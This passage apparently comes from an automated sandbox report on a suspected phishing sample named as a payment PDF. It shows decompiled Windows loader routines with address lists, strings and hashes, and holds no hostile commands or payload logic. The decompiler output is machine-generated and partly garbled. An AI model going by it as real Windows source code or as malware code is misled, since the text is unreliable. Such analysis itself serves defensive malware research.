						_pop(_t29);
						_t17 = L334A4CF8( &_v8, __edx * _t29, __edx * _t29 >> 0x20);
						if(_t17 >= 0) {
							_t34 = L33485D90( &_v8,  *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _v8);
							if(_t34 != 0) {
								_v8 = 1;
								goto L3;
							} else {
								_t17 = 0xc0000017;
							}
						}
					} else {
						L3:
						if(_t41 != 0) {
							memset(_t34, 0, _t41 << 2);
						}
						 *_t26 = _v8;
						_t17 = 0;
						_t26[1] = _t41;
						_t26[2] = _t34;
					}
				}
				return _t17;
			}

0x334a33d5
0x334a33d6
0x334a33d7
0x334a33dd
0x334a33df
0x334a33e4
0x334e2898
0x334e2899
0x334e28a8
0x334e28b0
0x334a33f2
0x334a33f2
0x334a33f7
0x334e2850
0x334e2852
0x334e285c
0x334e2863
0x334e287c
0x334e2880
0x334e288c
0x00000000
0x334e2882
0x334e2882
0x334e2882
0x334e2880
0x334a33fd
0x334a33fd
0x334a33ff
0x334a3407
0x334a3407
0x334a340c
0x334a340e
0x334a3410
0x334a3413
0x334a3413
0x334a33f7
0x334a341a

Strings

SXS: %s() bad parameters:SXS: Map : 0x%pSXS: EntryCount : 0x%lx, xrefs: 334E289F
RtlpInitializeAssemblyStorageMap, xrefs: 334E289A

Memory Dump Source

Source File: 00000006.00000002.88738890102.0000000033440000.00000040.00001000.00020000.00000000.sdmp, Offset: 33440000, based on PE: true

Associated: 00000006.00000002.88738890102.0000000033569000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.88738890102.000000003356D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_33440000_PAYNOW_2023_08_002783pdf.jbxd

Similarity

API ID:
String ID: RtlpInitializeAssemblyStorageMap$SXS: %s() bad parameters:SXS: Map : 0x%pSXS: EntryCount : 0x%lx
API String ID: 0-2653619699
Opcode ID: e98d2b2fecc72ad9a2767b936dc1f092c8e03ab82d455878f98d48bac60a1e27
Instruction ID: 7ec2a9532ea0004604e3865d6fa2e454be72e4474b1565a429fddf1200ebc92b
Opcode Fuzzy Hash: e98d2b2fecc72ad9a2767b936dc1f092c8e03ab82d455878f98d48bac60a1e27
Instruction Fuzzy Hash: E2110272F01315BFF7158B4C8D40F5A76A9EB94B54F148069BE04EB384EA74CD0187A8

Uniqueness

Uniqueness Score: -1.00%

Function 3347C6E0 Relevance: 2.2, Strings: 1, Instructions: 960
COMMONCrypto

Download Yara Rule

C-Code - Quality: 95%

			E3347C6E0(signed int __ecx, signed int __edx, signed int _a4, signed int _a8, signed int* _a12) {
				signed int _v8;
				signed int _v12;
				char _v20;
				intOrPtr _v28;
				signed int _v32;
				signed int _v36;
				signed int _v40;
				signed int _v44;
				signed int _v48;
				signed int _v52;
				intOrPtr _v56;
				char _v60;
				signed short _v64;
				char _v65;
				signed int _v72;
				signed int _v76;
				signed char _v80;
				signed int _v84;
				signed int _v88;
				intOrPtr* _v92;
				signed int _v96;
				signed int _v100;
				signed int _v104;
				signed int* _v108;
				signed int _v112;
				signed int _v116;
				signed int _v120;
				signed int _v124;
				signed int _v128;
				signed int _v132;
				signed int _v136;
				void* _v140;
				signed char _v144;
				signed int _v148;
				signed int _v152;
				char _v153;
				signed char _v160;
				signed int _v164;
				void* _v168;
				signed int _v172;
				signed short _v176;
				signed short _v180;
				signed int _v184;
				signed int _v188;
				signed int _v192;
				void* _v196;
				signed int _v200;
				char _v204;
				intOrPtr _v208;
				signed int _v212;
				char _v220;
				char _v228;
				signed int __ebx;
				signed int __edi;
				signed int __esi;
				void* __ebp;
				signed int _t428;
				signed int _t429;
				signed int _t435;
				signed char _t437;
				signed int _t443;
				signed int _t446;
				signed char _t448;
				signed int _t461;
				signed int _t463;
				signed int _t465;
				signed short _t475;
				signed int _t478;
				signed int* _t480;
				signed int _t481;
				signed short _t482;
				signed int _t486;
				signed char _t488;
				signed int _t501;
				signed int _t503;
				signed int _t509;
				signed int _t510;
				signed int _t520;
				signed int _t536;
				signed int _t537;
				signed int _t539;
				signed int _t540;
				signed int _t543;
				signed int _t544;
				signed int _t546;
				signed int _t551;
				signed int _t555;
				void* _t556;
				signed int _t559;
				signed int _t565;
				signed char _t566;
				signed int _t567;
				signed int _t568;
				signed int _t569;
				signed int _t573;
				signed short _t576;
				char _t581;
				signed int _t583;
				signed int _t587;
				signed int _t588;
				signed int _t592;
				intOrPtr _t598;
				signed int _t599;
				signed int _t601;
				signed int* _t602;
				signed int _t607;
				signed int _t615;
				signed int _t617;
				signed int _t620;
				signed int _t624;
				void* _t625;
				signed int _t626;
				signed int _t627;
				intOrPtr* _t630;
				intOrPtr _t633;
				signed int _t638;
				void* _t639;
				signed char _t640;
				intOrPtr* _t642;
				signed int _t645;
				signed int _t647;
				void* _t648;

				_t612 = __edx;
				_push(0xfffffffe);
				_push(0x3354c008);
				_push(0x334bad20);
				_push( *[fs:0x0]);
				_t428 =  *0x3356b370;
				_v12 = _v12 ^ _t428;
				_t429 = _t428 ^ _t647;
				_v32 = _t429;
				_push(_t429);
				 *[fs:0x0] =  &_v20;
				_v28 = _t648 - 0xd0;
				_v100 = __edx;
				_t624 = __ecx;
				_v96 = __ecx;
				_v152 = __edx;
				_v108 = _a12;
				_v92 = __edx;
				_v65 = 0;
				_v172 = 0;
				_v164 = 0;
				_t638 = _a4;
				_t555 = _a8;
				if(_t638 >= 3 || (_t555 & 0x00000002) != 0) {
					if(_t638 > 4) {
						goto L232;
					}
					_t435 = _t555 & 0x00000041;
					if(_t435 == 0 || _t638 == 4) {
						if(_t638 != 4) {
							L9:
							_t565 = _t638;
							_v88 = _t638;
							L10:
							_v124 = _t565;
							_v8 = 0;
							_t437 =  !_t555;
							_v144 = _t437;
							if((_t437 & 0x00000010) == 0 || _t565 - 1 > 2) {
								L25:
								_v80 = 1;
								_t566 = _v96;
								_t640 = _t566;
								_v160 = _t566;
								_v120 = 0;
								_t626 = 0;
								_v128 = 0;
								if((_t566 & 0x00000003) != 0) {
									asm("sbb al, al");
									_v80 =  !( ~(_t566 & 0x00000001)) & 0x00000001;
									_v160 = _t640;
								}
								_t612 = E3347E580("true", _t640, 0, 0,  &_v120);
								_t567 = _v120;
								if(_t567 == 0) {
									L76:
									if(_t612 >= 0) {
										L79:
										_v188 = _t626;
										if(_t626 != 0) {
											_t432 = E3347AB70(_t555, _t626, _t640, __eflags, _v96,  &_v172, 0x100, "true");
											_v72 = _t432;
											__eflags = _t432;
											if(_t432 < 0) {
												goto L68;
											}
											_v148 = _t626;
											_v76 = 0xeeee;
											_v116 = 0;
											_t568 = 0;
											_v136 = 0;
											_v132 = 0;
											_v64 = 0;
											__eflags = 0;
											_v84 = 0;
											_v168 = 0;
											while(1) {
												__eflags = _t626;
												if(_t626 == 0) {
													goto L90;
												}
												_t481 = _v124;
												_t617 = _t481 - 1;
												_v124 = _t617;
												__eflags = _t481;
												if(_t481 == 0) {
													goto L90;
												}
												__eflags = _t617;
												_t612 = _v88;
												if(_t617 == 0) {
													__eflags = _t612 - 3;
													if(_t612 == 3) {
														_v132 = _t626;
													}
												}
												__eflags = _v132;
												if(_v132 == 0) {
													L169:
													_t576 =  *(_t626 + 0xe) & 0x0000ffff;
													_v176 = _t576;
													_v180 =  *(_t626 + 0xc) & 0x0000ffff;
													_t612 = _t576 & 0x0000ffff;
													_t432 = E334694A3( *(_t626 + 0xc) & 0xffff, _t576 & 0x0000ffff,  &_v204);
													_v72 = _t432;
													__eflags = _t432;
													if(_t432 < 0) {
														goto L68;
													}
													_t612 = 8;
													_t432 = L334C6D10(_v204, 8,  &_v220);
													_v72 = _t432;
													__eflags = _t432;
													if(_t432 < 0) {
														goto L68;
													}
													_t306 = _t626 + 0x10; // 0x10
													_t612 = _t306;
													_v212 = _t612;
													_t629 = _v96;
													_t581 = (_v96 & 0xfffffffc) + _v172;
													_v140 = _t581;
													__eflags = _v220 + _t612 - _t581;
													if(_v220 + _t612 <= _t581) {
														_t475 = _v180;
														_v144 = _t475;
														_t583 =  *_v100;
														__eflags = _t583 & 0xffff0000;
														if((_t583 & 0xffff0000) == 0) {
															_t612 = _t612 + (_t475 & 0x0000ffff) * 8;
															_v212 = _t612;
															_t475 = _v176;
															_v144 = _t475;
														}
														__eflags = _t475;
														if(_t475 != 0) {
															__eflags = _v132;
															if(_v132 == 0) {
																L206:
																_t612 = _v172;
																_t478 = L334C6E26(_t629, _v172, _v144, _v188, _v172, _t583,  &_v148,  &_v136);
																__eflags = _t478;
																if(_t478 == 0) {
																	goto L172;
																}
																_t480 =  &(_v100[1]);
																_v100 = _t480;
																_v152 = _t480;
																_t626 = _v148;
																_t568 = _v136;
																continue;
															}
															__eflags = _t555 & 0x00000020;
															if((_t555 & 0x00000020) == 0) {
																goto L206;
															}
															_t626 = 0;
															_v148 = 0;
															_v76 =  *_t612;
															_t568 =  *((intOrPtr*)(_t612 + 4)) + _v188;
															__eflags = _t568 - _v140;
															if(_t568 > _v140) {
																goto L172;
															}
															_v136 = _t568;
															goto L90;
														} else {
															_t587 = _v88;
															_t486 = _t587 - _v124 - 1;
															__eflags = _t486;
															if(_t486 == 0) {
																_t645 = 0xc000008a;
																L183:
																_v72 = _t645;
																_t630 = _v92;
																__eflags = _t555 & 0x02040000;
																if((_t555 & 0x02040000) != 0) {
																	L191:
																	__eflags = _t645 - 0xc000008a;
																	if(_t645 == 0xc000008a) {
																		L193:
																		_t488 =  !_t555;
																		__eflags = _t488 & 0x00080000;
																		if((_t488 & 0x00080000) != 0) {
																			__eflags = _t488 & 0x00020000;
																			if((_t488 & 0x00020000) != 0) {
																				__eflags = _t488 & 0x00000010;
																				if((_t488 & 0x00000010) != 0) {
																					__eflags = _t587 - 3;
																					if(_t587 == 3) {
																						_v48 =  *_t630;
																						_v44 =  *((intOrPtr*)(_t630 + 4));
																						_v40 =  *((intOrPtr*)(_t630 + 8));
																						_t588 = _a4;
																						__eflags = _t588 - 4;
																						if(_t588 == 4) {
																							_v36 =  *((intOrPtr*)(_t630 + 0xc));
																						}
																						_t612 =  &_v48;
																						_t558 = _v96;
																						_t645 = L3347B9C0(_v96,  &_v48, _t588, _t555, _v108);
																						_v72 = _t645;
																						__eflags = _t645;
																						if(_t645 >= 0) {
																							_t612 = 0;
																							__eflags = 0;
																							L33470C12(_t558, 0,  &_v48, _a4);
																						}
																					}
																				}
																			}
																		}
																		L201:
																		_v8 = 0xfffffffe;
																		_t432 = _t645;
																		goto L233;
																	}
																	__eflags = _t645 - 0xc000008b;
																	if(_t645 != 0xc000008b) {
																		goto L201;
																	}
																	goto L193;
																}
																__eflags = _t587 - 3;
																if(_t587 != 3) {
																	goto L191;
																}
																_v48 =  *_t630;
																_v44 =  *((intOrPtr*)(_t630 + 4));
																_v40 =  *((intOrPtr*)(_t630 + 8));
																_t592 = _a4;
																__eflags = _t592 - 4;
																if(_t592 == 4) {
																	_v36 =  *((intOrPtr*)(_t630 + 0xc));
																}
																_t612 =  &_v48;
																_t501 = L3347B9C0(_v96,  &_v48, _t592, _t555 | 0x01000000, _v108);
																_t587 = _v88;
																__eflags = _t501 - 0xc00b0001;
																if(_t501 != 0xc00b0001) {
																	__eflags = _t501 - 0xc00b0006;
																	if(_t501 == 0xc00b0006) {
																		goto L191;
																	}
																	_t645 = _t501;
																	L190:
																	_v72 = _t645;
																}
																goto L191;
															}
															_t503 = _t486 - 1;
															__eflags = _t503;
															if(_t503 == 0) {
																_t645 = 0xc000008b;
																goto L183;
															}
															__eflags = _t503 == 1;
															if(_t503 == 1) {
																_v72 = 0xc0000204;
																_v8 = 0xfffffffe;
																_t432 = 0xc0000204;
																goto L233;
															}
															_t645 = 0xc000000d;
															_t630 = _v92;
															goto L190;
														}
													}
													L172:
													_v8 = 0xfffffffe;
													_t432 = 0xc000007b;
													goto L233;
												} else {
													_v64 = 0;
													_t482 =  *((intOrPtr*)(_v92 + 8));
													_v84 = _t482;
													__eflags = 0x000003ff & _t482;
													_v65 = (0x000003ff & _t482) == 0;
													L107:
													_t465 = _v116;
													_v116 = _v116 + 1;
													__eflags = _t465 - 0xc;
													if(_t465 > 0xc) {
														L129:
														_v8 = 0xfffffffe;
														_t432 = 0xc0000204;
														goto L233;
													}
													switch( *((intOrPtr*)(_t465 * 4 +  &M3347D420))) {
														case 0:
															__eflags = 0 - _v84;
															if(0 != _v84) {
																__eflags = _t555 & 0x00080000;
																if((_t555 & 0x00080000) == 0) {
																	goto L139;
																}
																goto L112;
															}
															goto L110;
														case 1:
															__eax = __ebx;
															__eax =  !__ebx;
															__eflags = __eax & 0x00080000;
															if((__eax & 0x00080000) == 0) {
																goto L139;
															}
															__eflags = __eax & 0x00020000;
															if((__eax & 0x00020000) == 0) {
																goto L139;
															}
															__eflags = __al & 0x00000010;
															if((__al & 0x00000010) == 0) {
																goto L139;
															}
															__eax =  *__ecx;
															_v48 =  *__ecx;
															__eflags = __edx - 2;
															if(__edx < 2) {
																__eax = 0;
																__eflags = 0;
															} else {
																__eax =  *(__ecx + 4);
															}
															_v44 = __eax;
															__eflags = __edx - 3;
															if(__edx != 3) {
																__eax = 0;
																__eflags = 0;
															} else {
																__eax =  *(__ecx + 8);
															}
															_v40 = __eax;
															__edi = _a4;
															__eflags = __edi - 4;
															if(__edi == 4) {
																__eax =  *(__ecx + 0xc);
																_v36 =  *(__ecx + 0xc);
															}
															__edx =  &_v48;
															__ecx = _v96;
															__eax = L3347B9C0(__ecx, __edx, __edi, __ebx, _v108);
															__esi = __eax;
															_v72 = __esi;
															__eflags = __esi;
															if(__esi < 0) {
																goto L139;
															} else {
																__eax =  &_v48;
																__edx = 0;
																__ecx = _v96;
																__eax = L33470C12(__ecx, 0,  &_v48, __edi);
																_v8 = 0xfffffffe;
																__eax = __esi;
																goto L233;
															}
														case 2:
															__eflags = _v65;
															if(_v65 == 0) {
																L112:
																_t643 = _v84;
																_v64 = _t643;
																goto L165;
															}
															__si = _v76;
															_v64 = __si;
															goto L165;
														case 3:
															__eflags = __bl & 0x00000004;
															if((__bl & 0x00000004) == 0) {
																__eflags = _v65;
																if(_v65 == 0) {
																	__edx =  &_v64;
																	__eax = L334688C8(__ecx, __edx);
																	__eflags = __eax;
																	if(__eax < 0) {
																		L110:
																		_t643 = 0;
																		_v64 = 0;
																		goto L165;
																	}
																	__si = _v64;
																	__eflags = __si;
																	if(__si != 0) {
																		_v116 = _v116 - 1;
																	}
																	goto L165;
																}
																__si = _v76;
																_v64 = __si;
																goto L165;
															}
															goto L129;
														case 4:
															__eflags = _v65;
															if(_v65 == 0) {
																__si = _v84;
																__si = _v84 & __di;
																_v64 = __si;
															} else {
																__si = _v76;
																_v64 = __si;
															}
															goto L165;
														case 5:
															__eflags = _v65;
															if(_v65 == 0) {
																goto L129;
															}
															goto L139;
														case 6:
															__si = _v76;
															_v64 = __si;
															__eflags = __bl & 0x00000020;
															if((__bl & 0x00000020) != 0) {
																goto L165;
															}
															__eax = 0;
															_v64 = __ax;
															__eax = E3347A630();
															__eflags = __al;
															if(__al == 0) {
																__eax = 0;
																_v64 = __ax;
																__si = _v76;
																_v64 = __si;
																goto L165;
															}
															 *[fs:0x18] =  *( *[fs:0x18] + 0xfc0);
															__eax =  *( *( *[fs:0x18] + 0xfc0) + 4) & 0x0000ffff;
															__eflags = _v164 - __eax;
															if(_v164 >= __eax) {
																__eax = 0;
																__eflags = 0;
																_v64 = __ax;
																L146:
																__ebx = _a8;
																__si = _v76;
																_v64 = __si;
																goto L165;
															}
															__edx =  *[fs:0x18];
															 &_v153 =  &_v64;
															__edi = _v164;
															__edx =  *( *[fs:0x18] + 0xfc0);
															__eax = E3347A750(__edx, __edi,  &_v64,  &_v153);
															__si = _v64;
															__eflags = __si;
															if(__si == 0) {
																goto L146;
															}
															__edi = __edi + 1;
															_v164 = __edi;
															_v116 = _v116 - 1;
															__ebx = _a8;
															goto L165;
														case 7:
															__eax = __ebx;
															__eax =  !__ebx;
															__eflags = __eax & 0x00080000;
															if((__eax & 0x00080000) == 0) {
																L139:
																_t643 = _v76;
																_v64 = _t643;
																goto L165;
															}
															__ecx = _v96;
															__eax = L33478858(__ecx, 0, "true");
															__eflags = __eax;
															if(__eax == 0) {
																goto L139;
															}
															__eflags =  *__eax - 0xfecdfecd;
															if( *__eax != 0xfecdfecd) {
																goto L139;
															}
															__ecx =  *(__eax + 0x7c);
															__eflags = __ecx;
															if(__ecx == 0) {
																goto L139;
															}
															 &_v228 = E334B5050(__ecx,  &_v228,  &_v228);
															 &_v196 =  &_v228;
															__eax = E334956E0( &_v228,  &_v196);
															__eflags = __al;
															if(__al == 0) {
																goto L139;
															}
															__si = _v196;
															_v64 = __si;
															goto L165;
														case 8:
															__si = _v76;
															_v64 = __si;
															__eax = __ebx;
															__eax =  !__ebx;
															__eflags = __eax & 0x00080000;
															if((__eax & 0x00080000) != 0) {
																goto L164;
															}
															__eflags =  *[fs:0x18];
															if( *[fs:0x18] == 0) {
																__ebx = _a8;
																__si = _v64;
															} else {
																__esi =  *[fs:0x18];
																__si =  *((intOrPtr*)(__esi + 0xc4));
																_v64 = __si;
																__ebx = _a8;
															}
															goto L165;
														case 9:
															__si = _v76;
															_v64 = __si;
															__eax =  &_v168;
															_push( &_v168);
															_push("true");
															__eax = E334B2AE0();
															_v72 = __eax;
															__eflags = __eax;
															if(__eax >= 0) {
																__si = _v168;
																_v64 = __si;
															}
															goto L165;
														case 0xa:
															__si = _v76;
															_v64 = __si;
															__eax =  &_v200;
															_push( &_v200);
															_push(0);
															__eax = E334B2AE0();
															_v72 = __eax;
															__eflags = __eax;
															if(__eax >= 0) {
																__eax = _v200;
																__eflags = __eax - _v168;
																if(__eax != _v168) {
																	__si = __ax;
																	_v64 = __si;
																}
															}
															goto L165;
														case 0xb:
															__esi = 0x409;
															_v64 = __si;
															goto L165;
														case 0xc:
															L164:
															__ebx = __ebx | 0x00000020;
															__eflags = __ebx;
															_a8 = __ebx;
															L165:
															_t468 =  !_t555;
															__eflags = _t468 & 0x00000020;
															if((_t468 & 0x00000020) == 0) {
																L168:
																_v76 = _t643 & 0x0000ffff;
																_t470 =  &_v76;
																_v100 = _t470;
																_v152 = _t470;
																_t626 = _v132;
																_v148 = _t626;
																goto L169;
															}
															__eflags = (_t643 & 0x0000ffff) - _v76;
															if((_t643 & 0x0000ffff) != _v76) {
																goto L168;
															}
															_t612 = _v88;
															L106:
															goto L107;
													}
												}
												L90:
												_t443 = _t555 & 0x00000002;
												__eflags = _t568;
												if(_t568 == 0) {
													L97:
													__eflags = _t626;
													if(_t626 == 0) {
														L100:
														_t612 = _v88;
														_t446 = _t612 - _v124 - 1;
														__eflags = _t446;
														if(_t446 == 0) {
															_t627 = 0xc000008a;
															L210:
															_v72 = _t627;
															L211:
															__eflags = _t555 & 0x02040000;
															if((_t555 & 0x02040000) != 0) {
																L220:
																_t642 = _v92;
																L221:
																__eflags = _t627 - 0xc000008a;
																if(_t627 == 0xc000008a) {
																	L223:
																	_t448 =  !_t555;
																	__eflags = _t448 & 0x00080000;
																	if((_t448 & 0x00080000) == 0) {
																		L231:
																		_v8 = 0xfffffffe;
																		_t432 = _t627;
																		goto L233;
																	}
																	__eflags = _t448 & 0x00020000;
																	if((_t448 & 0x00020000) == 0) {
																		goto L231;
																	}
																	__eflags = _t448 & 0x00000010;
																	if((_t448 & 0x00000010) == 0) {
																		goto L231;
																	}
																	__eflags = _v88 - 3;
																	if(_v88 != 3) {
																		goto L231;
																	}
																	_v48 =  *_t642;
																	_v44 =  *((intOrPtr*)(_t642 + 4));
																	_v40 =  *((intOrPtr*)(_t642 + 8));
																	_t569 = _a4;
																	__eflags = _t569 - 4;
																	if(_t569 == 4) {
																		_v36 =  *((intOrPtr*)(_t642 + 0xc));
																	}
																	_t612 =  &_v48;
																	_t557 = _v96;
																	_t627 = L3347B9C0(_v96,  &_v48, _t569, _t555, _v108);
																	_v72 = _t627;
																	__eflags = _t627;
																	if(_t627 < 0) {
																		goto L231;
																	} else {
																		_t612 = 0;
																		L33470C12(_t557, 0,  &_v48, _a4);
																		_v8 = 0xfffffffe;
																		_t432 = _t627;
																		goto L233;
																	}
																}
																__eflags = _t627 - 0xc000008b;
																if(_t627 != 0xc000008b) {
																	goto L231;
																}
																goto L223;
															}
															__eflags = _t627 - 0xc000008a;
															if(_t627 == 0xc000008a) {
																L214:
																_t642 = _v92;
																__eflags = _t612 - 3;
																if(_t612 == 3) {
																	_v48 =  *_t642;
																	_v44 =  *((intOrPtr*)(_t642 + 4));
																	_v40 =  *((intOrPtr*)(_t642 + 8));
																	_t573 = _a4;
																	__eflags = _t573 - 4;
																	if(_t573 == 4) {
																		_v36 =  *((intOrPtr*)(_t642 + 0xc));
																	}
																	_t612 =  &_v48;
																	_t461 = L3347B9C0(_v96,  &_v48, _t573, _t555 | 0x01000000, _v108);
																	__eflags = _t461 - 0xc00b0001;
																	if(_t461 != 0xc00b0001) {
																		__eflags = _t461 - 0xc00b0006;
																		if(_t461 != 0xc00b0006) {
																			_t627 = _t461;
																			_v72 = _t627;
																		}
																	}
																}
																goto L221;
															}
															__eflags = _t627 - 0xc000008b;
															if(_t627 != 0xc000008b) {
																goto L220;
															}
															goto L214;
														}
														_t463 = _t446 - 1;
														__eflags = _t463;
														if(_t463 == 0) {
															_t627 = 0xc000008b;
															goto L210;
														}
														__eflags = _t463 == 1;
														if(_t463 == 1) {
															_t627 = 0xc0000204;
															_v72 = 0xc0000204;
															__eflags = _v132;
															if(_v132 == 0) {
																goto L211;
															}
															_v136 = 0;
															goto L106;
														}
														_t627 = 0xc000000d;
														goto L210;
													}
													__eflags = _t443;
													if(_t443 == 0) {
														goto L100;
													}
													 *_v108 = _t626;
													_t627 = 0;
													_t612 = _v88;
													goto L210;
												}
												__eflags = _t443;
												if(_t443 != 0) {
													goto L97;
												}
												 *_v108 = _t568;
												_t509 =  *[fs:0x18];
												__eflags =  *(_t509 + 0xfe0);
												if( *(_t509 + 0xfe0) == 0) {
													_v100 =  *[fs:0x18];
													_v100[0x3f8] = L33485D90(_t568,  *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, 0xc);
												}
												_t510 =  *[fs:0x18];
												__eflags =  *(_t510 + 0xfe0);
												if( *(_t510 + 0xfe0) != 0) {
													_t615 = _v96;
													 *( *( *[fs:0x18] + 0xfe0)) = _t615;
													( *( *[fs:0x18] + 0xfe0))[1] = _v136;
													( *( *[fs:0x18] + 0xfe0))[2] = _t615;
												}
												_t627 = 0;
												_v72 = 0;
												_t555 = _a8;
												_t612 = _v88;
												goto L211;
											}
										}
										_v8 = 0xfffffffe;
										_t432 = 0xc0000089;
										goto L233;
									}
									L77:
									_t626 = 0;
									L78:
									_v128 = _t626;
									goto L79;
								}
								_t520 =  *(_t567 + 0x18) & 0x0000ffff;
								_t612 = 0x10b;
								if(_t520 != 0x10b) {
									_t612 = 0x20b;
									__eflags = _t520 - 0x20b;
									if(__eflags != 0) {
										goto L77;
									}
									_t612 = E33467386(_t640, _v80, "true",  &_v180, _t567,  &_v128);
									_t626 = _v128;
									goto L76;
								}
								if( *((intOrPtr*)(_t567 + 0x74)) <= 2) {
									goto L77;
								}
								_t640 =  *(_t567 + 0x88);
								if(_t640 == 0) {
									goto L77;
								}
								_v180 =  *(_t567 + 0x8c);
								if(_v80 != 0 || _t640 <  *((intOrPtr*)(_t567 + 0x54))) {
									_t626 = _v160 + _t640;
									goto L78;
								} else {
									_t57 = _v120 + 0x18; // 0x18
									_t612 = _t57 + ( *(_t567 + 0x14) & 0x0000ffff);
									_t559 =  *(_v120 + 6) & 0x0000ffff;
									_t598 = 0;
									while(1) {
										_v208 = _t598;
										_v192 = _t612;
										if(_t598 >= _t559) {
											break;
										}
										_t633 =  *((intOrPtr*)(_t612 + 0xc));
										if(_t640 < _t633 || _t640 >=  *((intOrPtr*)(_t612 + 0x10)) + _t633) {
											_t612 = _t612 + 0x28;
											_t598 = _t598 + 1;
											continue;
										} else {
											if(_t612 == 0) {
												break;
											} else {
												_t626 =  *((intOrPtr*)(_t612 + 0x14)) -  *((intOrPtr*)(_t612 + 0xc)) + _t640 + _v160;
												L71:
												_v128 = _t626;
												_t555 = _a8;
												_v100 = _v152;
												if(_t626 == 0) {
													goto L77;
												}
												_t612 = 0;
												goto L76;
											}
										}
									}
									_t626 = 0;
									__eflags = 0;
									goto L71;
								}
							} else {
								if(_t565 != 3) {
									_t536 = 0;
									__eflags = 0;
								} else {
									_t536 =  *(_t612 + 8) & 0x0000ffff;
								}
								_v120 = _t536;
								_v84 = _t536;
								_t599 =  *_t612;
								if(_t599 == 0x10 || _t599 == 0x18) {
									L20:
									if((_v144 & 0x00000008) == 0 || _t536 != 0 && _t536 != 0x400 && _t536 != 0x800) {
										goto L39;
									} else {
										_t555 = _t555 | 0x00000010;
										_a8 = _t555;
										goto L25;
									}
								} else {
									if((_t599 & 0xffff0000) == 0 || L334B79A0(_t599, L"MUI") != 0) {
										L39:
										_v112 = 0;
										_v140 = 0;
										_v104 = 0;
										_t612 = 0;
										_t537 = E3347D530(_t624, 0, 0, "true");
										_v104 = _t537;
										__eflags = _t537 - 0xffffffff;
										if(_t537 == 0xffffffff) {
											L55:
											_t601 = 0x80000;
											L56:
											_v112 = _t601;
											L57:
											_t555 = _t555 | _t601;
											_a8 = _t555;
											__eflags = _t555 & 0x00040000;
											if((_t555 & 0x00040000) == 0) {
												goto L25;
											}
											_t432 = 0xc000008a;
											_v72 = 0xc000008a;
											__eflags = _t555 & 0x00020000;
											if((_t555 & 0x00020000) == 0) {
												_t602 = _v100;
												_v48 =  *_t602;
												_t620 = _v88;
												__eflags = _t620 - 2;
												if(_t620 < 2) {
													_t539 = 0;
													__eflags = 0;
												} else {
													_t539 = _t602[1];
												}
												_v44 = _t539;
												__eflags = _t620 - 3;
												if(_t620 != 3) {
													_t540 = 0;
													__eflags = 0;
												} else {
													_t540 = _t602[2];
												}
												_v40 = _t540;
												__eflags = _t638 - 4;
												if(_t638 == 4) {
													_v36 = _t602[3];
												}
												_t612 =  &_v48;
												_v72 = L3347B9C0(_t624,  &_v48, _t638, _t555, _v108);
											}
											L68:
											_v8 = 0xfffffffe;
											goto L233;
										}
										__eflags = _t537;
										if(__eflags != 0) {
											L49:
											_push( &_v112);
											_push(_t555);
											_push( *_v100);
											_push(_t537);
											_t543 = E3347E7F0(_t555, _t624, _t638, __eflags);
											__eflags = _t543;
											if(_t543 >= 0) {
												_t544 = _v104;
												_t601 = _v112;
												__eflags =  *(_t544 + 0x14) & 0x00000100;
												if(( *(_t544 + 0x14) & 0x00000100) != 0) {
													_t601 = _t601 | 0x00100000;
													__eflags = _t601;
													_v112 = _t601;
												}
												__eflags =  *(_t544 + 0x10) & 0x00000010;
												if(( *(_t544 + 0x10) & 0x00000010) == 0) {
													goto L57;
												}
												_t601 = _t601 | 0x00200000;
											} else {
												_t601 = 0x60000;
											}
											goto L56;
										}
										_v60 = L"MUI";
										_v56 = 1;
										_v52 = _t537;
										_t546 = E3347C6E0(_t624,  &_v60, "true", 0x2000030,  &_v176);
										_t607 = _t546;
										_v184 = _t607;
										__eflags = _t607;
										if(__eflags >= 0) {
											_t607 = E3347DA30(_t624, _v176,  &_v104,  &_v140);
											_v184 = _t607;
											__eflags = _t607;
											if(__eflags < 0) {
												L46:
												_v104 = 0;
												_t551 = 0xffffffff;
												goto L48;
											}
											_t551 = _v104;
											__eflags =  *_t551 - 0xfecdfecd;
											if(__eflags == 0) {
												_v140 = 0;
												goto L48;
											} else {
												_t607 = 0xc000007b;
												_v184 = 0xc000007b;
												goto L46;
											}
										} else {
											_v104 = 0;
											_t551 = _t546 | 0xffffffff;
											L48:
											_push(0);
											_push(_t607);
											_push("true");
											_push(0);
											_push(_t551);
											_push(0);
											_t612 = 0;
											E334793A6(_t555, _t624, 0, _t624, _t638, __eflags);
											_t537 = _v104;
											__eflags = _t537;
											if(__eflags == 0) {
												goto L55;
											}
											goto L49;
										}
									} else {
										_t536 = _v120;
										goto L20;
									}
								}
							}
						}
						if(_t435 == 0) {
							goto L232;
						}
						if(_t638 != _t638) {
							goto L9;
						} else {
							_t565 = 3;
							_v88 = 3;
							goto L10;
						}
					} else {
						goto L232;
					}
				} else {
					L232:
					_t432 = 0xc00000f1;
					L233:
					 *[fs:0x0] = _v20;
					_pop(_t625);
					_pop(_t639);
					_pop(_t556);
					return E334B4B50(_t432, _t556, _v32 ^ _t647, _t612, _t625, _t639);
				}
			}

0x3347c6e0
0x3347c6e5
0x3347c6e7
0x3347c6ec
0x3347c6f7
0x3347c6fe
0x3347c703
0x3347c706
0x3347c708
0x3347c70e
0x3347c712
0x3347c718
0x3347c71b
0x3347c71e
0x3347c720
0x3347c723
0x3347c72c
0x3347c72f
0x3347c732
0x3347c736
0x3347c740
0x3347c74a
0x3347c74d
0x3347c753
0x3347c761
0x00000000
0x00000000
0x3347c769
0x3347c76c
0x3347c77a
0x3347c792
0x3347c792
0x3347c794
0x3347c797
0x3347c797
0x3347c79a
0x3347c7a3
0x3347c7a5
0x3347c7ad
0x3347c82c
0x3347c82e
0x3347c831
0x3347c834
0x3347c836
0x3347c83c
0x3347c843
0x3347c845
0x3347c84b
0x3347c853
0x3347c859
0x3347c85f
0x3347c85f
0x3347c875
0x3347c877
0x3347c87c
0x3347cb19
0x3347cb1b
0x3347cb22
0x3347cb22
0x3347cb2a
0x3347cb4e
0x3347cb53
0x3347cb56
0x3347cb58
0x00000000
0x00000000
0x3347cb5e
0x3347cb64
0x3347cb6b
0x3347cb72
0x3347cb74
0x3347cb7a
0x3347cb7f
0x3347cb83
0x3347cb85
0x3347cb89
0x3347cb90
0x3347cb90
0x3347cb92
0x00000000
0x00000000
0x3347cb94
